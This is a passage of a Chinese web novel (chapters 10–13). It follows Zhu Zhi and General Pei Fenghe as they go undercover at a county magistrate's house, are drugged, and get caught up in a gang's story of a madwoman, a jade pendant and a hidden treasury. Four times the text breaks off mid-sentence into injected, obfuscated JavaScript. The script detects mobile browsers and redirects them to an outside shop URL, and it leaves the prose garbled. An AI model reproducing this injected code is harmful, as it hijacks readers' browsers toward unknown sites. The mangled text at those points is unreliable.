“肖唯安三年前就发现,那个玉佩其实是假的,他小时候顽劣,肖小姐被拐走那一天,他曾不小心将其推倒,玉佩也因此被磕出了一个角。而现在那位肖小姐的玉佩是完整的。” 竹徵心里还有诸多疑惑,但明显的是,这个玉佩既然曾经出现在张巡身上,就证明张巡知道它所代表的意义。 张巡府里,十五年前,真假玉佩……每一件都指向曲如桢,巧得过头了。 裴风鹤继续说,“我戍边五年,本就收到了肖唯安的传信……托我寻找他真正的妹妹。” 竹徵已经“唰”地一下站起来,“不必说了,现在唯一能确定的是,那个疯女人肯定跟张巡有关,我们现在回华府,再找一点线索。” 坐上回华府的马车时,竹徵都判断不出来自己是什么情绪。 成为曲如桢逃离张巡之后,她孑然一身,明明可以放下所有牵挂,替真正的曲如桢报完仇后就去寻找自己的身体。 但是,她要是认下这个肖家小姐,就意味着又将被困在闺阁之中,又将被家庭束缚。 可是,她真的有资格替曲如桢伤她父母兄长的心吗? 肖唯安对于妹妹的感情,她是很清楚的,肖小姐是由于肖唯安的疏忽才走失的,肖唯安一直自责多年,直到五年前肖小姐归家才好了一些。 可是让他发现这不是他真正的妹妹,还真心相待几年,又会是何种痛苦? 她不知道,也无法知道。 她只是一个游走于世间的游魂,不是真正的曲如桢,而肖家等待的,也不是竹徵,而是这具曲如桢的身体。 她不知道应该如何选择,只能祈祷这个玉佩不是她的。 忽然,马车停下来。 她听见胡娘子说,有人拦路。 她正好也想转移自己的思绪,刚准备戴上帷帽下车,就被裴风鹤拉住。 她差点忘了,现在她是赵夫人,有丈夫在,怎么会让她处理这些事。 裴风鹤下了车,才发现这人就是阳泉县赫赫有名的“菩萨眼”,不知道为什么,他也颇觉得对方眼熟。 最近总是遇见令他感觉熟悉的人,之前见到曲如桢觉得眼熟,应该是窥见了她眉眼之间肖唯安的影子,这个人又是为什么呢? 穆常念看到是个男人下车,属实愣了一下,但依旧说道:“上回穆某多有得罪,这回特来向夫人赔罪。” 裴风鹤听见他说话,莫名有种不爽,但也判断不出从何而来,只能接话,“内子之前独自到阳泉县,却不知是如何得罪了公子?” 穆常念没有解释,反而笑了一下,“夫人实在是令穆某一见倾心,穆某有怜香惜玉之心,今日想再一睹芳容罢了。” 裴风鹤知道他为什么觉得不适了,穆常念表面是请罪,实则是挑拨,但凡是一个稍有猜忌的丈夫,妻子都逃不过。 他正欲开口,马车里面就传出女人坚定的声音,“公子上回刺破妾身的帷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14289440|152085||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 帽还不够,今日又希望妾身连这妇人髻都拆下来吗?” 穆常念被她呛住了,一时间不知道怎么回答。 裴风鹤不再与他纠缠,丢下一句“请公子让路。”就上马车了。 马车将要行进时,穆常念才大声说,“我听说近日阳泉在查逃犯,夫人不要被吓到才好。” 望着彻底抛下他离开的马车,他没有生气,反而笑了。 身后的小弟哆嗦了一下,试探地问:“少帮主……” 穆常念咧起嘴角,“原本只是见她眼熟,想确认一下罢了,如今倒是有意思得很。” “真是两口子,话术都一样。”想起那句“让路”,穆常念更是咬牙切齿。 最重要的是,这两人,他都感觉在哪见过。 他侧身与身边人说了什么,那个小弟点点头退下了。 刚刚躲在马车里偷偷掀起车帷的竹徵终于看清了穆常念的样貌,在脑海里搜寻了一遍,终于确认,她确实是不认识他。 被这一打岔,她才想起来今日带了最后一块海棠酥。 小心将帕子包着的海棠酥拿出来,看着旁边闭目养神的裴风鹤,用手指戳了戳他。 “诶。” 裴风鹤听见她的话方才睁眼,“怎么了?” “昌乐公主给的海棠酥,给你留了一块。”竹徵将那块海棠酥小心捧到他面前,这海棠酥吃起来酥脆掉渣,自也是不好保存。 裴风鹤僵了一下,“你自己吃吧。” 竹徵今日本来心情就不好,听见他的拒绝更是气不打一处来,“让你吃就吃。” 裴风鹤在这话里听出几分咬牙切齿来,鬼使神差地就接过来,拿到手上那一刻才开始懊悔。 “对了,之前送信未回,是因为昌乐公主也来了阳泉县。鸟哨你留着,以后你有事找我就吹响,它构造特殊,我听见就会来。” 竹徵心里莫名被暖了一下,想也知道,昌乐公主跟着来能有什么好事,多半不想连累她,于是干脆在昌乐那里将她除名了。 她有些懊恼之前对他的态度,深吸了一口气,还是对裴风鹤说:“看在你多次帮我的份上,送你一份礼物。” 裴风鹤还没吃,就被她的话吸引,纤长的手指将海棠酥包回手帕里。 竹徵指着那块海棠酥,向他简单地阐述了一下她的发现。 华县令应该是背靠大树好乘凉,但是具体是谁还不知道。 裴风鹤听完点点头,他那天去夜探,也是想摸清华居仁的立场。 要是忠于皇上,那当然可以挑明身份,直接要求配合。可是要是任何一方,都有可能窝藏张巡,狼狈为奸。 从那个疯女人和玉佩看,华府与张巡绝对脱不了干系,皇上当时给他的名单里也没有华居仁。 那这条官道,是谁允许他走的,又是去见谁,就有意思得很了。 这条情报来得太及时,为他回京述职又加码了。 他不知道说什么,只留下一句“多谢。” 竹徵摆摆手,他也算是救了她几次,昨日没他估计她也没胆子上手搜玉佩。 “真谢我就快吃吧。”竹徵指指海棠酥,用手撑着下颚看着他。 她记得年少的他最爱吃了。 11. 第十一章 赴宴 裴风鹤和竹徵到华府时,华府已经备好了接风宴。 为了在人前装出恩爱夫妻的样子,竹徵不得不挽着裴风鹤的手。 她的手只虚挽着,摆出和煦的笑脸,另一只手拿着手帕捂着嘴,一副弱不禁风的样子。 小厮将他们引到前厅时,接风宴已经摆了一桌,华县令和华夫人也早已就坐,只等他们开席。 竹徵心里泛起几分怪异来,裴风鹤来得悄然,华县令的消息也太快了些。 华县令见到他们,赶紧站起来迎接,“赵大人,有失远迎啊。” 裴风鹤赶紧上前扶住华县令的手,客套道:“哪里哪里,是在下叨扰了,这几日劳烦贵府照顾内子,我这心里甚是过意不去,如今还为我接风洗尘,惶恐啊。” 华县令也客套地推说没有没有。 一番推拉下,他们才终于落座。 华夫人在这档口询问竹徵,“妹妹今日看的名医如何了?” 竹徵回以灿烂的笑容,将遮在嘴边的手帕拿下来,柔柔地说,“大夫说我还是要多走动走动,给我开了药方,今日已喝了一副,身子感觉好多了,不愧是杏林圣手,我原也不知这阳泉县如此卧虎藏龙。” 华夫人将她的手拉过来,喜不自胜:“妹妹这真是实打实的好消息!” 竹徵羞了下,继续说,“大夫还说,只要好好调养身体,孩子……也不是问题。” 裴风鹤的表情明显僵硬了,耳朵肉眼可见地红了起来。 竹徵心里舒服多了,现在能让裴风鹤吃瘪的时机可是比五年前少了很多,果然还是挺纯情的嘛小子。 华夫人的面色明显有变化,她一下子严肃起来,“妹妹这话可是……” 竹徵都不等她说完,“真真的,我在我们那,不说名医,连神医都看了不少,就是说我身子弱,不能生育,这回倒是让我瞧见点希望。” 说罢还压低了声音,倾身将华夫人拉离饭桌,咬耳朵道:“姐姐之前不也在信里说……子嗣问题吗?” 裴风鹤见状也对华县令说:“她们女子间的悄悄话,我们确实也不便听。” 说着手快速从饭桌上晃过,听见竹徵做作的咳嗽声才起身,过去拉住她。 他亲昵地道:“夫人身子不好,就不要乱动了。” 竹徵随着裴风鹤的动作坐下,手也微不可察地在自己的酒杯上扫了一下。 “好了好了,再不吃,饭菜都要凉了。”华县令伸手招呼他们,众人这才回归原位,乐呵呵地坐下。 竹徵向来贪嘴,华府的菜色又很是多样美味,一不留神就吃多了。 她还在缓着,想着怎么才能礼貌又优雅地打一个嗝。 坐在她身旁的裴风鹤却拉过她,她猝不及防撞上他满是柔情的眼睛。 眼看着那鼻尖痣离她越来越近,忽然周遭的声音都消失了,她只能听见自己的心跳声,他要干什么? 而裴风鹤在她面前几寸的时候停下了,用手帕轻轻揩了一下她的嘴角,“每回都吃成这样。” 随后靠近她的耳边,轻轻说了句:“得罪了。” 她感觉手上被塞了什么东西,紧紧握着,边斥责自己,昨天开始就不太对劲,对一个不知道她是谁的人也能心动吗? 那些事都多久了?何况……他是回去成亲的。 想到这里,竹徵刚刚跳跃的心完全被浇灭了,只不过是……太久没有回家,把他当成了慰藉而已,不必赋予意义,反而困住自己。 华县令在一旁邀请他去书房议事,他看着她,低声说:“夫人,我去去就回。” 她点头,辨出了裴风鹤眼神代表的意思。 华夫人在一旁揽过她,“不过是分开一会儿,这么舍不得吗?” 她故作羞涩,与华夫人笑在一团,俨然小女儿姿态。 裴风鹤和华县令还未走出门,外面就有人在尖叫,听起来是个女人。 裴风鹤转头看见华县令刹那间凌厉的眼神,小厮立马就向外头奔去。 竹徵假作好奇,起身问:“怎地了?这声音好耳熟,我昨晚好像也听见了。” 华县令立马换上了一副笑颜,打哈哈道:“许是那马厩的马,小厮走后几日没人喂,这会子饿的不行,正嘶叫呢。” “哦,原来如此,看来华县令家的马吃不饱啊。”竹徵笑着看着他。 华县令却莫名感到一丝凉意,也顾不上说别的,只解释道:“我俸禄微薄……” 眼看这件事即将揭过,却有个身影突然冲破层层的阻拦,向华县令冲过来。 裴风鹤这时反应很快——立马被吓到了地上,还很有演技地在边颤抖边往后挪。 竹徵和华夫人则抱在一起尖叫,立马往房间内躲着。 “管家!管家!”华县令这时也顾不上形象,一个劲地往后退,被凳子绊了一下,摔在地上,脸上现出痛苦的表情,五官都皱在一起。 管家带着小厮好不容易才在女人离华县令只有一尺时拉住她。 乱糟糟的头发,长长的指甲,还有那张脸,确实就是昨夜马厩里那个女人。 她努力想挣脱小厮的束缚,向着华县令龇牙咧嘴,嘴里还发出呜呜的声音。 “这……这是谁呀!”竹徵和华夫人躲在桌子下,用颤抖的声音问着,她还悄悄露出半个头,躲在桌后观察。 华县令被吓得不轻,小厮将他和裴风鹤扶起来,他方才能整理衣服,咬牙切齿地说:“其实是……我府上的姨娘,前些日子疯癫了,我一直将她关在马厩里,上回她疯到撕咬养马的小厮,这才留她一个人睡在马厩。” 竹徵听见这话,眼神温柔了一瞬,她忽然心底里升起些不忍来,也打算将这个傻瓜善良的形象贯彻到底,“那……这还真是可怜,不如我将她带走,去那名医处看看,救好了到底是一条人命啊。” 裴风鹤的脸上露出不满来,眉头皱在一起,斥责道:“妇道人家,瞎说什么!” 说完还给华县令赔罪,“内子善良,不懂事,得罪了。” 华县令摆摆手,却并未松口,“不麻烦赵夫人了,这女子实在是药石难医,我看在府上,好歹不让她伤人。” 裴风鹤回头,同竹徵交换了个眼神。 看来这个疯女人也不是个简单的身份,要不然这么一个烫手山芋,送上门的机会让他丢掉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14289441|152085||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,怎么还会推拒呢? 况且要是真想治,怎么会放弃这个机会?铺垫了那么久的名医,到他这里试都不愿意试? 裴风鹤和竹徵心里有了分辨,不再纠缠,竹徵笑了一下,“县令大人真是好心肠。” 华县令明显心虚地笑了一下,擦了擦头上的虚汗,继续伸手请裴风鹤往前走:“真是对不住,让赵大人和夫人见笑了。” 裴风鹤和华县令到书房后,华县令便开门见山地问:“赵大人最近的煤矿生意如何啊?” 裴风鹤花了点时间沉思,他与赵大人虽是旧识,这档子事确实是不知道。 “华县令说笑了,煤矿这种生意,赵某哪敢碰啊。” 华县令依旧笑嘻嘻地,“那看来是我记错了,赵兄,上回玉池宴那个喝了酒说自己做煤矿生意的不是你。” 他话里实在太多试探,裴风鹤也有些应接不暇,“华兄这记性,我们这是初见。” 他将初见两个字咬的重,华县令这才稍微放松,没有再揪着不放。 “裴将军为了扮演赵大人,还真是不遗余力。”华县令冷笑一声,看着渐渐倒下的裴风鹤,“演的不错,可惜大名鼎鼎的裴将军,谁不认识呢?” 另外一边,竹徵和华夫人在花园里叙着旧,华夫人握着她的手,指着院里的桃花说,“这花开得这样好,妹妹可要多出来走走,看看这种风景才好。” 竹徵只点头,并不搭腔。 华夫人也不恼,带着她转了一圈花园,一个个向她介绍了,才引她去房内。 还没进房间,竹徵就闻到一股浓烈的药味,这味道她早就闻到过,是在谁身上呢? 她绞尽脑汁地想,却还是分辨不出来,只能跟着华夫人进屋。 “妹妹,你到我府上几日,怎的也不作首诗赠予姐姐,聊以慰藉呀。”华夫人说着将她拉到堂屋里坐下。 竹徵这下是真的慌了,赵夫人是有名的才女,平时给华夫人的信里就爱作诗,她光背那几首就不得了,要她作,完全没准备啊。 典型的考甲卷复习乙卷,押错题了。 她又故作头疼,手捂着自己的脑袋,弯下身来,“哎呦,你看我,这几日劳累过度,头又疼了。” 华夫人轻抚着她的背,边还解围道:“不作也没事的,我知晓妹妹身体不好,也不愿勉强。” 竹徵依旧没有抬头,打算将头疼演到底。 华夫人却话锋一转,“不过……”说着还将手缓缓移到了她的脖颈处,“你不是赵夫人,自然是作不成了。” 直到华夫人的手摸上她的脖子,丝丝药味侵入鼻腔,竹徵才猛然意识到到底在哪闻到过这个草药味,就是在华夫人身上! 那块海棠酥不是华夫人馋嘴,而是为了掩盖她身上的草药味,这几日相处下来,华夫人身体并无不适,所以事实是…… 华夫人,其实擅长岐黄之术! 那个疯女人,身份到底是什么?能让华县令一家治不好她却要一直留着她…… 华夫人看着竹徵的身体渐渐摇晃,慢慢从椅子上滑下去,却上前扶住她。 “曲小姐,帮主,找你很久了。” 12. 第十二章 圈套 竹徵听见马车声,这才判断出自己早已经出府。 早在她同裴风鹤互通消息时,裴风鹤就指出华县令不是他这边的人。 竹徵之所以跟裴风鹤暂时站在同一战线,就是因为裴风鹤也需要张巡的罪证。 而华县令分不清是敌是友,总还是需要提防。 因此,她确实是在跟华夫人说话时就已经换了自己的酒杯,但是她自己很清楚,被搬弄的过程中她也做不到完全像个晕过去的尸体。 于是她还是给自己喂了迷药,只是控制了剂量,也没有像他们惯常那样给自己放软骨散。 所以她醒来得比较早,还能从旁边人的话语中判断出一点信息。 两个男人在她身旁,应该是看着她,其中一个说:“哥,你说帮主非得发通缉令,还让华大人帮忙,就为了抓这么个女的,是什么原因?” 另一个明显成熟点,“帮主的命令,照做就好。” 奈何刚刚那个笃定他知道,一直缠着他说,他没办法,只得说:“听说她带着帮主在找的东西,不是你想的那些,省省那些龌龊想法吧。” 说完也没再说别的,另一个许是知道自己失了分寸,也没再追问。 竹徵这倒是好奇起来,华府里没有张巡这人,那多半就是在金虹帮那里。 一个金虹帮,一个参军,怎么都冲着她来? 脚铐的秘密究竟是什么,值得他们两拨人和裴风鹤这个将军抢着找她? 这么重要的东西,张巡不带在自己身上,而是交给曲如桢…… 想来也是,如果她没有进入曲如桢的身体,对于一个不能轻易交由他人的东西来说,确实是最好的保护。 马车有些颠簸,她尽量保持一个死尸状态。 忍了很久,这些人终于将她移下马车。她尝试睁眼,但是他们很谨慎地给她套上了黑布头罩,她看不见外头的样子。 但是依稀从那几句黑话判断出,确实是金虹帮,而且华县令同金虹帮的关系不止于简单的利益交换。 要不然这些江湖人士不可能在字里行间对于一个县令如此尊敬。 等到冷水浇在她脸上时,她才知道此刻确实是该醒了。 她被冷的一哆嗦,睁眼方才看清眼前的人,那是一个近中年却依旧儒雅的人。 他穿的是那天她见到的金虹帮小弟的靛蓝色衣袍的升级版。 这华丽的衣袍比起那些小弟的,确实是一看就知道是帮主。 她没有说话,等着对方先出招。 帮主在她面前坐下来,没说话反倒先笑了一下,“曲小姐,得罪了。” 竹徵甩了一下已经湿透贴在脸上遮掩视线的发丝,才幽幽地说:“帮主,这不是请人的态度吧?” 帮主大笑了几声,给手下人打了个手势,那些小弟才上来帮她解了绑,让她以一个比较体面的姿态坐在椅子上。 “帮主这次把我绑来,是为了什么?”竹徵活动着手腕,问道。 “曲小姐聪明人,我就不绕弯子了,张巡的东西,在你那里吧?”帮主摩挲着自己的扳指,翘着二郎腿胸有成竹地看着她。 “您说您和参军,找东西都找到我这来了。我是张巡的童养媳,什么都不知道,他也不会把东西给我呀。” 帮主摆了摆手,“我跟那虚伪的可不一样,我们江湖人士做事,恩怨分明,义气至上。” “那帮主夫人被囚在马厩内,饿到撕咬人,也是帮主的意思了?”竹徵玩味地看向他的眼睛。 帮主的完美的神情很明显撕裂了,他冲到竹徵面前逼问她,“你说什么?” “帮主不知道吧,您信任的华大人和华夫人不仅没有好好对待您的夫人,还将她关在马厩里,甚至败露后,我提出要带她去看病都不肯。” “而您信任的‘神医’华夫人,怎么会治着治着,把人变得越来越疯呢?” 竹徵的心里抽了一下,她只是猜测,但看着帮主的表情,这事很有可能是真的。 帮主立马叫手下人,“现在!现在去把她从华府带回来!”帮主拎着那个小弟的衣领,几乎要将人提起来,随后又狠狠将他掼在地上。 他的表情是不堪和无措的,那一刻,竹徵好像看见了一个犯错的孩子。 帮主缓缓坐回椅子,方才开始说话。 他说,十几年前,一个愣头青和他从小认识的书生,相约去京城打拼。 书生和愣头青一个奔着科举一个走着江湖,闲时相约喝两坛小酒,好不惬意。 直到愣头青遇见一个少女,她肆意快活,仗义执剑,遇到不平之事总是忍不住拔剑而起。 愣头青被她吸引,他们渐渐走到一起,就这样,书生再见到的,却是愣头青和已经大了肚子的少女。 为了安抚怀孕的少女,让她见到父母。书生和愣头青一起去了少女的家,那是一个京郊外世代习医的山庄。在这里,书生见到了少女的姐姐——大名鼎鼎的“神医”,因为家学已有姐姐继承,少女的父母只当女儿死在了外头。 他们认为少女珠胎暗结是耻辱,并不愿意去看望少女。 愣头青在山庄一直碰壁,书生却渐渐和少女姐姐愈走愈近,最后还是姐姐求情,父母才同意将少女送上山。 愣头青欣喜若狂,可他下山接上少女上山时,却让在孕中的少女,目睹了全家被屠的惨状。 他们至今都不知,到底是谁做了这些事。 少女遭受打击,伤心欲绝一蹶不振,生下的孩子也体弱病虚,不久就病逝了。 红颜易老,少女已经不再年轻,已成了缠绵病榻的女子。 而愣头青还是英姿焕发的样子,女子越来越害怕被抛下,为了安她的心,他带回来了一个养子,视如己出。 而女子却不喜欢他,在愣头青不在时,对他动辄打骂,也越来越疯癫,见人就咬。 而此时,书生迎娶了姐姐,他们去参加宴席时,女子见到满府的红布,想起了那日满门被屠的场景,彻底疯癫,没有恢复清醒的时候。 十五 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14289442|152085||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 年前,在女人疯魔之后,书生告诉他,自己得罪了人,要从京城远走阳泉县,问他愿不愿意一起走。 他看着已经疯癫的女人和尚且年幼的养子,终究同意了,同书生一起到了阳泉县。 而书生托他在阳泉替他建立一个江湖帮派,让他好在阳泉县斡旋,作为回报,他会让妻子替女子医治,在愣头青不在时看着她。 他想起来书生陪他上山庄,于是答应了,在这方小小天地建起来一个帮派,一手将养子抚养成人,而如今,有人来投奔他,他知道在这几方势力争夺之中,自己已无法置身事外,于是打算给养子谋一条出路。 帮主说完这个故事,伏在椅子上缓了好久,才复又抬起头,“曲小姐,我这样全盘托出,不止是因为你告诉了我关于……我夫人的消息。” 竹徵这才生了几分兴趣,重新看着他。 “你应该已经猜出来了,张巡来投奔我了,他手上握着的金库,谁都想要,但是我清楚,他来找我的这一刻,我就无法脱身了,几方势力都不会放过我。” “好在我找了许多人,终于认出了他给我的引诱你的信物,是真正的肖小姐身上的。” “只是那一日……我去看她,她将我身上的玉佩拿走了,我并未察觉,找了这玉佩好一阵。” “那时候居然没发现,她被人圈养起来了,她扒着我不让走,我还以为治疗起了效果,更加感激他们。” “她的灾难都是我带来的,我这条命,也早该还给她,我今天找你来,是希望曲小姐能嫁与我儿,救常念一命。” 竹徵一直听到这一刻才恍然惊起,“什么?!” 怎么跟她有关系? “张巡掌着的金库,是早年摄政王发现的,只是十几年前云大人去世,金库一直封存着没动,摄政王也没有报给皇上和太后。近几年才交给张巡管着,也没来得及启用。” “张巡要我抓住你,说钥匙在你身上,但我很清楚,你敢来阳泉,就证明东西不在你身上。” “但是曲小姐,你的存在就是最好的免死金牌。你握着金库钥匙去京都请罪,别说是摄政王了,连皇上都拿你没办法。” “世人谁不知,是因为边疆案肖家被盯上,你才会被拐走的,自此后开国功臣肖大人乞骸骨,虽遭皇上拒绝,却也让肖家一蹶不振。” “五年前回到家的肖小姐居然是假的,真正的肖小姐却在一个恶棍手下遭了十五年的罪。而这位肖小姐识破贪官,献上金库钥匙。要我说,你封个县主都不为过。” “我被盯上,注定活不成,但是常念,我不希望他死,你嫁给他,按我的路走,我为你们拖延时间,这就是我的要求。” 帮主没有先前的倨傲,此刻只剩请求。 但是竹徵来不及思考答应与否,她在这一刻只感受到所有人扯住她,不停地要她跳入这个漩涡。 肖家小姐,金库钥匙,免死金牌…… 她注定在这个世界里丢掉自己,永久地沉沦于底,成为曲如桢么? 13. 第十三章 选择 裴风鹤感受到华县令将他绑在椅子上,但是因为他也换了自己的酒杯,没有晕过去。 他掐着时间醒来,华县令却不是要审他的样子,反而给他行了一礼。 “裴将军,得罪了,我只负责拖延时间,并无冒犯之意。” 裴风鹤眉头一挑,看着自己被绑住的手。 华县令讨好地笑了一下,赶紧上前给他松绑,“您毕竟是将军,华某怕您一醒来,直接就把我杀了,权宜之计,真是抱歉。” 裴风鹤在解绑的那一瞬间就暴起,他站起来时高了华县令半个头,左手精准地掐住他的喉咙,“你既知道我是谁,我问什么,你就答什么,明白吗?” 华县令举起双手,身体瞬间颤抖起来,“明白明白,我相信您,要不然也不会给您松绑是吧。” 裴风鹤冷笑一声,华县令看起来更像是早知道这雕虫小技困不住他,卖个好给他戴个高帽子罢了。 “你是谁的人?” 华县令沉默了,良久后才说,“您保我全家人性命,我一定全告诉您。” 裴风鹤疑惑了,“你华县令在这阳泉县能有什么危险?” 华县令又沉默了一会,才道:“倒不是危险,而是恐惧,十五年前,‘石马惨案’您肯定知道,我就是唯一逃过一劫的人。” 这桩惨案至今不知是谁所为,彼时皇帝刚登基不久,太后和摄政王在朝中夺权,除了部分文官,其他的大臣都分属两派,党同伐异,皇权渐渐旁落。 而那一年在石马举行的祭天大典上,羽林卫被调走保护太后,皇上还未出场,整个祭坛只有那些大臣们。 这时却突然出现一个神秘组织,将两党股肱大臣几乎屠杀殆尽,只有少数几个告病的逃过一劫。 更恰巧的是,那日除了女将裴成君,其他武官全都有各种各样的事,均未到场。 当时皇上尚年幼,但是此一役之后太后和摄政王的势力就削弱了很多,皇上成长之后也渐渐能够安插一些心腹。 虽然这位向来“仁善”的皇帝是直接受益者,但毕竟当时年幼,因此到底真相如何也不了了之。 而华县令刚刚说,他是这场事故唯一的见证者。 裴风鹤听了这话,一股冷意向他的四肢蔓延,他几乎再听不见华县令说的任何一句话,眼前只剩下“石马惨案”几个血淋淋的大字。 十几年来,他再次听见这四个字仍旧感觉如坠冰窟。 —————— 金虹帮。 帮主还在等待竹徵的回答,就听见外面的喊叫声和打杀声。 与此同时,有小弟跑过来向他禀报,说外面有一群人冲进来。 他这才明白,原来是他们的连环套! 这少女本来就是故意被他抓走,此刻他反倒被将了一军! 他让小弟将她再度绑起来,但后面已经是等待指挥的众人,他来不及对她发怒,就转身离去。 竹徵就更懵了,她完全不知道这一茬啊! 她跟裴风鹤商量的结果是,反正脚铐已经由云何收着,拿不到东西,这些人不会撕票,如果找到了张巡,她吹动鸟哨再寻他就是。 可是她没有吹动鸟哨,又是谁来了呢? 或者说,是裴风鹤,拿她做诱饵,就为了钓出来金虹帮这条鱼? 无论是哪种,她现在都必须认下肖小姐这个身份,因为这是她唯一的筹码了。 身在局中,终究身不由己。 她早就该知道,早在卷入书中时,她就已经不能独善其身了。 她用裴风鹤临走时塞在她手里的刀片磨着困住她的绳索。 没吃软骨散,做这件事还是挺快的。 帮主早已去处理外头的风波,留下小弟看着她,那些小弟关心外头,都不愿意在这守着她。 所以趁着他们都没注意到她,她已悄悄恢复了自由。 她反应虽然快,但是毕竟不会武功,突围有难度,既然如此,不如…… 她趁他们不备,马上站起身来,将刀抵在脖子上,那些小弟看见她这一茬,反而不敢上前了。 “刚刚都听到了吧?你们帮主希望我跟他儿子成亲,那我就是你们将来的少帮主夫人,敢拦我,我就立马死在这!” 此话一出,倒是真的震住了他们。 小弟们确实听见了这些话,也拿不准她的身份,不敢动手,只能慢慢移动,眼睁睁看着她跑出去。 竹徵脱了控制才开始狂奔,她现在必须快点跑,无论如何都不能再留在这里了。 外面的人只记着厮杀,没人拦她。 她尽力躲着他们,在帮派的院子里寻找假山之类的遮挡。 但虽然如此她还是被帮主发现了,帮主双眼迸出愤怒,马上指使着小弟们抓住她。 竹徵望着慢慢围住她,即将上来抓住她的人群,又将刀片横在自己脖子上,“帮主!今日攻来这些人我不认识,如果是裴将军,那他拿我作饵,我也没必要再跟他站在一边,如果不是,那也不是我通风报信。” “您说的,我答应!我不关心谁是肖小姐,钥匙也不在我身上,玉佩您要自拿去,我只要一条生路。” 竹徵用尽她平生的力气大喊。 帮主的表情终于有了一丝松动,竹徵提心吊胆地等待着审判。 终于,帮主挥了挥手,那些小弟即刻会意,没有继续拿刀向着她,反而转过身来护着她离开。 这蹚浑水,她不淌,谁爱走谁走。 认下身份是一回事,要不要做又是一回事,她不做命运的玩物,别人也休想禁锢她。 但是对面那一拨人好像也想将她抢走,不停地往她身边进攻,身边帮主的小弟一个接一个倒下。 她很清楚,她死了的话玉佩不还是随便他们拿,帮主派人已经是情谊,而这些人死了,她也没有活路。 于是在下一次又有人穿透人墙拉住她时,她毫不犹豫地用刀片刺向这些人的指尖,她强迫自己不去看那血淋淋的结果,只做一个刺向敌人的机器。 身边的人一个一个倒下,她捡起一把刀,第一次渴望有一个类似于“武力暴涨”和“铁石心肠”的金手指。 但是她没有,她只是一个普通人,她只能将自己全部的力气投诸于此,尽力抡起那把刀砍杀着对方,尽力对抗着对于迸发的鲜血的恐惧。 她的世界已经安静了,没有其他的东西,只有强烈的求生欲望。 她只是想活下来,怎么这么难呢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14289443|152085||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ? 她只是想毫无束缚地回家,怎么这么难呢? 她渐渐脱了力,望见身旁的小弟已经一个不剩,取而代之的是他们的尸身。 每一个刚刚还鲜活的人,即刻已经变成躺下不能再动弹一下的木偶。 她身染鲜血跪在这片土地上,身旁是滚落的头颅和肢身。 她听见嘶吼与叫喊,听见痛苦的哀嚎,听见战争爬满她的全身,撕咬着她每一寸肌肤。所见之处血流成河,所到之处寸草不生。 她看见被砍下双臂仍在挣扎着蠕动的人,看见那些即便身边已经堆满了伙伴的尸身,仍在拿着刀往前冲的人,看见捂着自己的伤口一边惨叫一边被人持续砍杀的人的身影。 她好累啊,活下去,怎么这么难呢? 她失了力气,意识不清,渐渐倒在这血泊里。 ———— 裴风鹤还想问,但是华县令已不愿意多说,执意要他护送自己去边疆。 华县令认为那些人没有办法将手伸到边疆去,为了摆脱噩梦,只能远走。 裴风鹤拿他没办法,就算快要将他掐死,他也不曾吐露出半个字,只能按他说的先将他送往边疆。 边疆毕竟算是他的地盘,他不说他有千百种方法治他。 他怕夜长梦多,安排周荣明日就将他和华夫人送到边疆。 他还要赶去金虹帮盯着后续,华县令就将他送到府门口。 华县令拱手行礼,承诺到边疆一定全盘托出,他点头,这件事他无论如何一定要知道真相。 他骑上早已备好的马,预备往金虹帮去,却只听见穿破白日虹云的破风之声。 一支短箭已经穿过他刚刚站立的地方,直穿华县令的心脏。 华县令惨叫一声就倒下了。 裴风鹤今日没有带人,他只能选择看看华县令还有没有救,他几乎站不稳地下马,冲到华县令身边。 他不知道此刻该做什么,只能使劲捂住他的伤口,倾身凑到他嘴边听他在说什么。 他话已说不全,只蹦出微弱的两个字:“环营……欢迎……” “什么?是什么?”裴风鹤辨不出这两个字,只能一遍又一遍地问,但是华县令似乎已经失去了思考的能力,只反复地说这两个字,直到微弱的气息已经消失。 他失魂落魄地坐在地上。 他的衣襟早已被华县令的血迹打湿,他却毫不在意。 